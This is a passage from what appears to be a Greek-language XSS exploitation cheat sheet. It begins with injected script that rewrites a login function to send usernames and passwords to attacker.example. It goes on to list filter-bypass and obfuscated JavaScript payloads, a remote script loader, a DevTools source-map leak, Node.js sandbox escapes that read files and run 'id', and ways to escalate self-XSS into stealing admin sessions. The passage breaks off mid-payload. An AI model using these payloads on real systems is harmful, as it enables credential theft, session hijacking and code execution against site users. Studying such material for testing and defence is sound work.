var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Αναφορά: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Κωδικοποίηση Unicode — εκτέλεση JS
alert(1)
alert(1)
alert(1)
Τεχνικές παράκαμψης blacklists σε JavaScript
Συμβολοσειρές
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Ειδικές ακολουθίες διαφυγής
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Αντικαταστάσεις κενών μέσα σε JS κώδικα
<TAB>
/**/
JavaScript σχόλια (από JavaScript Comments κόλπο)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript νέες γραμμές (από JavaScript new line κόλπο)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript κενά
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript μέσα σε σχόλιο
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript χωρίς παρενθέσεις
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Αυθαίρετη κλήση συνάρτησης (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Υπάρχει JS code που χρησιμοποιεί μη ασφαλή δεδομένα που ελέγχονται από επιτιθέμενο όπως location.href
. Ένας επιτιθέμενος μπορεί να το καταχραστεί για να εκτελέσει αυθαίρετο JS code.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
Εκεί θα βρείτε μια λεπτομερή εξήγηση του τι είναι οι DOM vulnerabilities, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε.
Επίσης, μην ξεχάσετε ότι στο τέλος του αναφερόμενου post μπορείτε να βρείτε μια εξήγηση για τους DOM Clobbering attacks.
Upgrading Self-XSS
Cookie XSS
Αν μπορείτε να ενεργοποιήσετε ένα XSS στέλνοντας το payload μέσα σε cookie, αυτό συνήθως είναι self-XSS. Ωστόσο, αν βρείτε ένα ευάλωτο subdomain σε XSS, μπορείτε να εκμεταλλευτείτε αυτό το XSS για να εγχύσετε ένα cookie σε ολόκληρο το domain και να καταφέρετε να ενεργοποιήσετε το cookie XSS στο κύριο domain ή σε άλλα subdomains (αυτά που είναι ευάλωτα σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε την cookie tossing attack:
Μπορείτε να βρείτε μια εξαιρετική κατάχρηση αυτής της τεχνικής σε this blog post.
Sending your session to the admin
Ίσως ένας χρήστης μπορεί να μοιραστεί το προφίλ του με τον admin και αν το self XSS βρίσκεται μέσα στο προφίλ του χρήστη και ο admin το επισκεφθεί, θα ενεργοποιήσει την ευπάθεια.
Session Mirroring
Αν βρείτε κάποιο self XSS και η σελίδα παρέχει session mirroring for administrators, για παράδειγμα επιτρέποντας στους πελάτες να ζητήσουν βοήθεια και έτσι ώστε ο admin για να σας βοηθήσει να βλέπει ό,τι βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία.
Μπορείτε να κάνετε τον administrator να ενεργοποιήσει το self XSS σας και να κλέψετε τα cookies/τη συνεδρία του.
Άλλες Παράκαμψεις
Bypassing sanitization via WASM linear-memory template overwrite
Όταν μια web εφαρμογή χρησιμοποιεί Emscripten/WASM, constant strings (όπως HTML format stubs) βρίσκονται σε εγγράψιμη linear memory. Μια μοναδική in‑WASM overflow (π.χ. unchecked memcpy σε μονοπάτι επεξεργασίας) μπορεί να καταστρέψει γειτονικές δομές και να ανακατευθύνει εγγραφές σε αυτές τις σταθερές. Επικαλύπτοντας ένα template όπως "" μετατρέπει το εξυγιασμένο input σε τιμή JavaScript handler και παράγει άμεσο DOM XSS κατά την απόδοση.
Δείτε την αφιερωμένη σελίδα με το exploitation workflow, DevTools memory helpers, και τις άμυνες:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Μπορείτε να ελέγξετε αν οι reflected values υφίστανται unicode normalized στον server (ή στην πλευρά του client) και να καταχραστείτε αυτή τη λειτουργία για να παρακάμψετε προστασίες. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Εξαιτίας του RoR mass assignment εισάγονται εισαγωγικά στο HTML και έτσι ο περιορισμός των εισαγωγικών παρακάμπτεται και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στο tag.\
Παράδειγμα φόρμας (from this report), εάν στείλετε το payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Το ζεύγος "Key","Value" θα εμφανιστεί έτσι:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Στη συνέχεια, το χαρακτηριστικό onfocus θα εισαχθεί και θα προκύψει XSS.
Ειδικοί συνδυασμοί
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
If you find that you can inject headers in a 302 Redirect response you could try to make the browser execute arbitrary JavaScript. Αυτό δεν είναι trivial καθώς τα σύγχρονα browsers δεν ερμηνεύουν το σώμα της HTTP response εάν ο HTTP response status code είναι 302, οπότε ένα απλό cross-site scripting payload είναι άχρηστο.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://
, //x:1/
, ws://
, wss://
, empty Location header, resource://
.
Μόνο γράμματα, αριθμοί και τελείες
If you are able to indicate the callback that javascript is going to execute limited to those chars. Read this section of this post to find how to abuse this behaviour.
Valid <script>
Content-Types to XSS
(From here) Αν προσπαθήσετε να φορτώσετε ένα script με content-type όπως application/octet-stream
, το Chrome θα εμφανίσει το ακόλουθο σφάλμα:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Οι μόνες Content-Types που θα επιτρέψουν στο Chrome να τρέξει ένα loaded script είναι αυτές που βρίσκονται μέσα στην const kSupportedJavascriptTypes
από https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Τύποι Script για XSS
(From here) Λοιπόν, ποιοι τύποι μπορούν να υποδειχθούν για τη φόρτωση ενός script;
<script type="???"></script>
Η απάντηση είναι:
- module (προεπιλογή, δεν χρειάζεται εξήγηση)
- webbundle: Web Bundles είναι μια δυνατότητα που σας επιτρέπει να πακετάρετε πολλά δεδομένα (HTML, CSS, JS…) μαζί σε ένα αρχείο
.wbn
.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Επιτρέπει τη βελτίωση της σύνταξης import
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Αυτή η συμπεριφορά χρησιμοποιήθηκε στο this writeup για να επαναχάρτησει μια βιβλιοθήκη σε eval ώστε η κατάχρησή της να μπορεί να προκαλέσει XSS.
- speculationrules: Αυτό το χαρακτηριστικό έχει κυρίως σχεδιαστεί για να επιλύσει κάποια προβλήματα που προκαλούνται από το pre-rendering. Λειτουργεί ως εξής:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types για XSS
(Από here) Οι παρακάτω content types μπορούν να εκτελέσουν XSS σε όλους τους browsers:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
In other browsers other Content-Types
can be used to execute arbitrary JS, check: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Τύπος Περιεχομένου
Αν η σελίδα επιστρέφει content-type text/xml, είναι δυνατό να δηλώσετε ένα namespace και να εκτελέσετε αυθαίρετο JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Ειδικά Πρότυπα Αντικατάστασης
Όταν χρησιμοποιείται κάτι όπως "some {{template}} data".replace("{{template}}", <user_input>)
, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει special string replacements για να προσπαθήσει να παρακάμψει κάποιες προστασίες: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Για παράδειγμα στο this writeup, αυτό χρησιμοποιήθηκε για να scape a JSON string μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα.
Chrome Cache σε XSS
XS Jails Escape
Εάν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων διαθέσιμο, δείτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Αν όλα είναι undefined πριν από την εκτέλεση μη αξιόπιστου κώδικα (όπως στο this writeup) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα «από το τίποτα» για να καταχραστεί η εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
- Χρησιμοποιώντας import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Έμμεση πρόσβαση στο
require
According to this τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως φαίνεται παρακάτω:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Επομένως, αν από εκείνο το module μπορούμε να καλέσουμε μια άλλη συνάρτηση, είναι δυνατό να χρησιμοποιήσουμε arguments.callee.caller.arguments[1]
από εκείνη τη συνάρτηση για να αποκτήσουμε πρόσβαση στο require
:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατό να χρησιμοποιήσετε χειριστές σφαλμάτων για να αποκτήσετε πρόσβαση στο wrapper του module και να πάρετε τη συνάρτηση require
:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Απόκρυψη & Προηγμένη Παράκαμψη
- Διάφορες τεχνικές απόκρυψης σε μία σελίδα: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Πιο εξελιγμένο JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
